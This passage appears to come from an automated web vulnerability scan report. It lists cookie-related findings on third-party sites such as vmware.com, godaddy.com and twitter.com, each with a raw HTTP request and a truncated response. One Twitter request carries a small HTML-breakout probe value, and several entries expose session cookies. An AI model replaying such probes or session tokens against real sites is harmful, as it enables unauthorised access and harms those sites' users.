ETag: "1e4dfcd9033b22fd1a5825dcc8891898"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 13118

<!doctype html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8
...[SNIP]...
7.14. http://www.opensource.org/licenses/mit-license.php
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.opensource.org
Path:   /licenses/mit-license.php

Request 1

GET /licenses/mit-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:11:35 GMT
Server: Apache/2.2.22 (FreeBSD) DAV/2 SVN/1.7.4 mod_ssl/2.2.22 OpenSSL/1.0.0h
Set-Cookie: SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=j4qqpmdq6i10v2dc01uqo5gnc6; expires=Thu, 24-May-2012 03:44:55 GMT; path=/; domain=.opensource.org
Last-Modified: Tue, 01 May 2012 00:06:43 GMT
ETag: "cd16be8263c8ae9af48a946ceb527997"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37493

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...
7.15. http://www.sidera.net/services/ethernet&client=ca-dp-godaddy2_xml
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.sidera.net
Path:   /services/ethernet&client=ca-dp-godaddy2_xml

Request 1

GET /services/ethernet&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.sidera.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:10:26 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3
Set-Cookie: SESS70251c9592c88fb9bd053c99ea01685a=feb9j69elkirg872ukn4jctcb6; expires=Thu, 24-May-2012 03:43:46 GMT; path=/; domain=.sidera.net
Last-Modified: Tue, 01 May 2012 00:10:26 GMT
ETag: "cce8126764217f0747e46c2803c7e29e"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38813

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<me
...[SNIP]...
7.16. http://www.trialpay.com/stores/godaddy/twodomains
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.trialpay.com
Path:   /stores/godaddy/twodomains

Request 1

GET /stores/godaddy/twodomains HTTP/1.1
Host: www.trialpay.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Found
Date: Tue, 01 May 2012 00:12:57 GMT
Server: Apache
Vary: Accept-Encoding
Set-Cookie: tpsess=loidk0k95afkvfdqb4jar3njcsebc77e9e79697c; expires=Sun, 30-Apr-2017 00:12:57 GMT; path=/; domain=.trialpay.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: ss=SU%2BLiUFRUG8qGDLz.16ca0e3b9a72b92d; expires=Sun, 30-Apr-2017 00:12:57 GMT; path=/; domain=.trialpay.com
Set-Cookie: u_ui=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=.trialpay.com
Set-Cookie: u_ui=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=merchant.trialpay.com
Set-Cookie: u_uk=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=.trialpay.com
Set-Cookie: u_uk=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=merchant.trialpay.com
Set-Cookie: u_ul=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=.trialpay.com
Set-Cookie: u_ul=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=merchant.trialpay.com
Set-Cookie: u_sr=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=.trialpay.com
Set-Cookie: u_sr=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=merchant.trialpay.com
Set-Cookie: cn=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=.trialpay.com
Set-Cookie: cn=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=merchant.trialpay.com
Set-Cookie: cno=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=.trialpay.com
Set-Cookie: cno=deleted; expires=Mon, 02-May-2011 00:12:56 GMT; path=/; domain=merchant.trialpay.com
Location: http://www.trialpay.com/checkout/?c=a70fa9e
Connection: close
Content-Type: text/html
Content-Length: 0

7.17. http://as.casalemedia.com/sd
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://as.casalemedia.com
Path:   /sd

Request 1

GET /sd?s=95308&f=1 HTTP/1.1
Host: as.casalemedia.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.columbusnetworks.co/
Cookie: CMO=2

Response 1

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/javascript
Content-Length: 6715
Expires: Mon, 30 Apr 2012 22:17:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 30 Apr 2012 22:17:47 GMT
Connection: close
Set-Cookie: C7M5=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.casalemedia.com

oV1=window; var fV20=(document.all&&!oV1.opera)?1:0; var fV39 = navigator.userAgent.toLowerCase().indexOf('chrome') > -1; var fV41=fV20?(navigator.appVersion.indexOf('MSIE 9')>0):0; var fV40=fV20?(nav
...[SNIP]...
7.18. https://auctions.godaddy.com/
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://auctions.godaddy.com
Path:   /

Request 1

GET /?isc=gppt02J007&domain=columbusnetworks.co HTTP/1.1
Host: auctions.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 150677
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: isc=gppt02J007; domain=.godaddy.com; path=/
Set-Cookie: ASP.NET_SessionId=yuo5a455fulkkyr1dq2n4n45; path=/; HttpOnly
Set-Cookie: PCSplitValue1=1; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=M1PWTDNAMWEB004&status=200 OK&querystring=isc=gppt02J007&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J007&clientip=174.36.218.2&referringpath=; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
Date: Tue, 01 May 2012 00:08:29 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- pageok Ending Soon -->
<html xmlns="http://www.w3.org/1999/xhtml">
   
...[SNIP]...
7.19. http://chat1e.livechatinc.com/licence/1044091/script_data.js
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://chat1e.livechatinc.com
Path:   /licence/1044091/script_data.js

Request 1

GET /licence/1044091/script_data.js?groups=0&t=1335824791972&referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&url=http%3A%2F%2Fwww.flowjamaica.com%2Findex.php%3Foption%3Dcom_content%26task%3Dview%26id%3D60%26Itemid%3D192&params=&jsonp=__lc_data HTTP/1.1
Host: chat1e.livechatinc.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.flowjamaica.com/index.php?option=com_content&task=view&id=60&Itemid=192
Cookie: __livechat=lc_session%3DS1335440163.327aee9d9b%26lc_last_visit%3D1335440614%26lc_visit_number%3D1%26lc_page_view%3D6%26lc_nick%3D%2524%26lc_lang%3Den%26lc_chat_number%3D0%26lc_all_invitation%3D0%26lc_ok_invitation%3D0%26lc_last_operator_id%3D%2524%26lc_client_version%3D%2524%26lc_last_conference_id%3D%24%26lc_integration_params%3D%2524

Response 1

HTTP/1.1 200 OK
Content-type: application/x-javascript;
Set-Cookie: __livechat=lc_session%3DS1335440163.327aee9d9b%26lc_last_visit%3D1335824787%26lc_visit_number%3D2%26lc_page_view%3D7%26lc_nick%3D%2524%26lc_lang%3Den%26lc_chat_number%3D0%26lc_all_invitation%3D0%26lc_ok_invitation%3D0%26lc_last_operator_id%3D%2524%26lc_client_version%3D%2524%26lc_last_conference_id%3D%24%26lc_integration_params%3D%2524; expires=Thu, 01-May-2014 00:26:27 GMT; path=/licence/1044091; domain=.livechatinc.com; HttpOnly
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Length: 887
Connection: Keep-Alive

__lc_data({"invitation":{"align":"centered","x":"0","y":"0","image":"/licence/1044091/gfx/invite_en.gif"},"visitor":{"nick":"$","hostname":"$","last_visit":"1335440614","session":"S1335440163.327aee9d
...[SNIP]...
7.20. http://l.sharethis.com/pview
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://l.sharethis.com
Path:   /pview

Request 1

GET /pview?event=pview&fpc=c7447e-13706811b44-1074dca4-1&sessionID=1335843953482.35898&sourceURL=http%3A%2F%2Fwww.vmware.com%2Fproducts%2Fvsphere%2Fmid-size-and-enterprise-business%2Foverview.html%3Fsrc%3DWWW_ProdSelTool_vsphere-standard_LearnMore%23utm_source%3DWWW_ProdSelTool_vsphere-standard_LearnMore%26utm_medium%3Dsrc%26utm_campaign%3Dsrc-tagged-url&hostname=www.vmware.com&location=%2Fproducts%2Fvsphere%2Fmid-size-and-enterprise-business%2Foverview.html&publisher=258d0500-cd02-4914-b13a-10791b849a65&shareHash=optout&incomingHash=optout&refDomain=www.fakereferrerdominator.com&refQuery=referrerPathName%3FRefParName%3DRefValue&url=http%3A%2F%2Fwww.vmware.com%2Fproducts%2Fvsphere%2Fmid-size-and-enterprise-business%2Foverview.html%3Fsrc%3DWWW_ProdSelTool_vsphere-standard_LearnMore%23utm_source%3DWWW_ProdSelTool_vsphere-standard_LearnMore%26utm_medium%3Dsrc%26utm_campaign%3Dsrc-tagged-url&sharURL=&source=share4x&title=VMware%20vSphere%3A%20Private%20Cloud%20Computing%20for%20Mid-Size%20%26%20Enterprise%20Businesses&ts1335843953565.0= HTTP/1.1
Host: l.sharethis.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html?src=WWW_ProdSelTool_vsphere-standard_LearnMore
Cookie: st_optout=true

Response 1

HTTP/1.1 204 No Content
Server: nginx/0.8.54
Date: Tue, 01 May 2012 03:45:48 GMT
Connection: keep-alive
Set-Cookie: __stid=ClbB/U+fXGyNWCNxbt/bAg==; expires=Wed, 01-May-13 03:45:48 GMT; domain=.sharethis.com; path=/
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"

7.21. https://my.vmware.com/group/vmware/evalcenter
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /group/vmware/evalcenter

Request 1

GET /group/vmware/evalcenter HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
Location: /web/vmware/login
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:22:06 GMT
Vary: Accept-Encoding
Content-Length: 279
Content-Type: text/html; charset=iso-8859-1
Date: Tue, 01 May 2012 04:22:06 GMT
Connection: close
Set-Cookie: ObSSOCookie=loggedoutcontinue; path=/; domain=.vmware.com;
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/web/vmware/login">here</a>.</p>
<hr>
<address>
...[SNIP]...
7.22. https://my.vmware.com/group/vmware/home
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /group/vmware/home

Request 1

GET /group/vmware/home HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/forgot-password?username=254erwdgfx
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520forgot-password%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/group/vmware/home%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=025A88512E5F5C9891422A7130C1A850.node0; BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000

Response 1

HTTP/1.1 302 Moved Temporarily
Location: /web/vmware/login
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:06:25 GMT
Vary: Accept-Encoding
Content-Length: 279
Content-Type: text/html; charset=iso-8859-1
Date: Tue, 01 May 2012 04:06:25 GMT
Connection: keep-alive
Set-Cookie: ObSSOCookie=loggedoutcontinue; path=/; domain=.vmware.com;
Set-Cookie: ObFormLoginCookie=wh%3Dweb-prod-sso-1.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome; path=/;
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/web/vmware/login">here</a>.</p>
<hr>
<address>
...[SNIP]...
7.23. http://p.twitter.com/f.gif
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://p.twitter.com
Path:   /f.gif

Request 1

GET /f.gif?aaaa=bbbb%22%3Ess&ccc=dddd&11111=22222&_=1335824683511&id=twitter-widget-0&lang=en&screen_name=BrendanPaddick&show_count=false&show_screen_name=true&size=m&twttr_variant=2.0&twttr_referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&twttr_widget=1&twttr_hask=0&twttr_li=0&twttr_pid= HTTP/1.1
Host: p.twitter.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://platform.twitter.com/widgets/follow_button.1335513764.html
Cookie: guest_id=v1%3A132315939653338244; __qca=P0-1639414073-1323159888394; __utma=43838368.1140439240.1323159913.1323159913.1326907555.2; __utmz=43838368.1326907555.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmv=43838368.lang%3A%20en

Response 1

HTTP/1.1 200 OK
ETag: "377d257f2d2e294916143c069141c1c5:1328738114"
Last-Modified: Wed, 08 Feb 2012 21:55:14 GMT
Accept-Ranges: bytes
Content-Length: 43
Content-Type: image/gif
Cache-Control: no-cache
P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT"
Date: Mon, 30 Apr 2012 22:24:40 GMT
Connection: close
Set-Cookie: pid=v3:1335824680339034772197816; expires=Wed, 30-Apr-2014 22:24:40 GMT; path=/; domain=.twitter.com

GIF89a.............!..    ....,...........L..;
7.24. http://sc.vmware.com/b/ss/vmwareglobal/1/H.15.1/s97368092714234
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sc.vmware.com
Path:   /b/ss/vmwareglobal/1/H.15.1/s97368092714234

Request 1

GET /b/ss/vmwareglobal/1/H.15.1/s97368092714234?[AQB]&ndh=1&t=30/3/2012%2022%3A42%3A27%201%20300&ce=UTF-8&ns=vmware&cdp=2&pageName=vmware%20%3A%20search%20%3A%20search&g=http%3A//search.vmware.com/search%3Fcn%3Dvmware%26cc%3Dwww%26client%3DVMware_Site%26entqr%3D0%26ud%3D1%26num%3D20%26output%3Dxml_no_dtd%26proxystylesheet%3DVMware_gsa_Site%26site%3DVMware_Site%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Dxss%2Bsql%2Binjection%26x%3D0%26y%3D0&r=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue&cc=USD&ch=vmware&events=event2&c1=vmware&v1=vmware&h1=vmware%2Csearch&c2=search&v2=search&c3=search&v3=search&c4=search&v4=search&c5=search&v5=search&c6=xss%2Bsql%2Binjection&v6=xss%2Bsql%2Binjection&c7=Logged%20Out&v8=VMware_Site&c9=vmware%20%3A%20search%20%3A%20search&c12=Repeat&v12=Repeat&c14=vmware%20%3A%20search%20%3A%20search&c15=VMware_Site&c17=8%3A30PM&v17=8%3A30PM&c18=Monday&v18=Monday&c19=Weekday&v19=Weekday&c23=Typo3&c38=http%3A//search.vmware.com/search%3Fcn%3Dvmware%26cc%3Dwww%26client%3DVMware_Site%26entqr%3D0%26ud%3D1%26num%3D20%26output%3Dxml_no_dtd%26proxystylesheet%3DVMware_gsa_Site%26site%3DVMware_Site%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Dxss%2Bsql%2Binjection%26x%3D0%26y%3D0&s=1920x1200&c=16&j=1.7&v=N&k=Y&bw=1375&bh=618&p=Mozilla%20Default%20Plug-in%3BGoogle%20Update%3BSilverlight%20Plug-In%3BWPI%20Detector%201.4%3B&[AQE] HTTP/1.1
Host: sc.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://search.vmware.com/search?cn=vmware&cc=www&client=VMware_Site&entqr=0&ud=1&num=20&output=xml_no_dtd&proxystylesheet=VMware_gsa_Site&site=VMware_Site&ie=UTF-8&oe=UTF-8&q=xss+sql+injection&x=0&y=0
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843542.1; __utmb=106857756.3.10.1335843542; __utmc=106857756; __utmz=106857756.1335843542.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection

Response 1

HTTP/1.1 302 Found
Date: Tue, 01 May 2012 03:42:24 GMT
Server: Omniture DC/2.0.0
Access-Control-Allow-Origin: *
Set-Cookie: s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; Expires=Sun, 30 Apr 2017 03:42:24 GMT; Domain=.vmware.com; Path=/
Location: http://sc.vmware.com/b/ss/vmwareglobal/1/H.15.1/s97368092714234?AQB=1&pccr=true&vidn=27CFADD0051D0829-40000104A02C3C94&&ndh=1&t=30/3/2012%2022%3A42%3A27%201%20300&ce=UTF-8&ns=vmware&cdp=2&pageName=vmware%20%3A%20search%20%3A%20search&g=http%3A//search.vmware.com/search%3Fcn%3Dvmware%26cc%3Dwww%26client%3DVMware_Site%26entqr%3D0%26ud%3D1%26num%3D20%26output%3Dxml_no_dtd%26proxystylesheet%3DVMware_gsa_Site%26site%3DVMware_Site%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Dxss%2Bsql%2Binjection%26x%3D0%26y%3D0&r=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue&cc=USD&ch=vmware&events=event2&c1=vmware&v1=vmware&h1=vmware%2Csearch&c2=search&v2=search&c3=search&v3=search&c4=search&v4=search&c5=search&v5=search&c6=xss%2Bsql%2Binjection&v6=xss%2Bsql%2Binjection&c7=Logged%20Out&v8=VMware_Site&c9=vmware%20%3A%20search%20%3A%20search&c12=Repeat&v12=Repeat&c14=vmware%20%3A%20search%20%3A%20search&c15=VMware_Site&c17=8%3A30PM&v17=8%3A30PM&c18=Monday&v18=Monday&c19=Weekday&v19=Weekday&c23=Typo3&c38=http%3A//search.vmware.com/search%3Fcn%3Dvmware%26cc%3Dwww%26client%3DVMware_Site%26entqr%3D0%26ud%3D1%26num%3D20%26output%3Dxml_no_dtd%26proxystylesheet%3DVMware_gsa_Site%26site%3DVMware_Site%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Dxss%2Bsql%2Binjection%26x%3D0%26y%3D0&s=1920x1200&c=16&j=1.7&v=N&k=Y&bw=1375&bh=618&p=Mozilla%20Default%20Plug-in%3BGoogle%20Update%3BSilverlight%20Plug-In%3BWPI%20Detector%201.4%3B&AQE=1
X-C: ms-4.4.5
Expires: Mon, 30 Apr 2012 03:42:24 GMT
Last-Modified: Wed, 02 May 2012 03:42:24 GMT
Cache-Control: no-cache, no-store, max-age=0, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www37
Content-Length: 0
Content-Type: text/plain

7.25. http://videos.godaddy.com/danica-media.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://videos.godaddy.com
Path:   /danica-media.aspx

Request 1

GET /danica-media.aspx HTTP/1.1
Host: videos.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=vA9srhxGcE5DCNsokUwRbNG0isRJhVgkwA7rnMEO%2fGY%3d; path=/; HttpOnly
Set-Cookie: gdCassCluster=1; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=vA9srhxGcE5DCNsokUwRbNG0isRJhVgkwA7rnMEO%2fGY%3d; path=/; HttpOnly
Set-Cookie: gdCassCluster=1; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:55 GMT; path=/
Set-Cookie: preferences1=_sid=&countryFlag=us&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:55 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:55 GMT; path=/
Set-Cookie: SplitValue1=17; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:55 GMT; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=videos.godaddy.com&page=/danica-media.aspx&server=M1PWCORPWEB178&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=174.36.218.2&referringpath=&referringdomain=&split=17; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:54 GMT
Connection: close
Content-Length: 155081


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link
...[SNIP]...
7.26. http://videos.godaddy.com/super-bowl-commercials.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://videos.godaddy.com
Path:   /super-bowl-commercials.aspx

Request 1

GET /super-bowl-commercials.aspx HTTP/1.1
Host: videos.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=%2fri5N%2bTWl5lgzRHLA6jo%2bu9Q7P%2bXrWrk1YPhwRj7Cq0%3d; path=/; HttpOnly
Set-Cookie: gdCassCluster=1; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=%2fri5N%2bTWl5lgzRHLA6jo%2bu9Q7P%2bXrWrk1YPhwRj7Cq0%3d; path=/; HttpOnly
Set-Cookie: gdCassCluster=1; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:53 GMT; path=/
Set-Cookie: preferences1=_sid=&countryFlag=us&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:53 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:53 GMT; path=/
Set-Cookie: SplitValue1=77; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:53 GMT; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=videos.godaddy.com&page=/super-bowl-commercials.aspx&server=M1PWCORPWEB178&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=174.36.218.2&referringpath=&referringdomain=&split=77; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
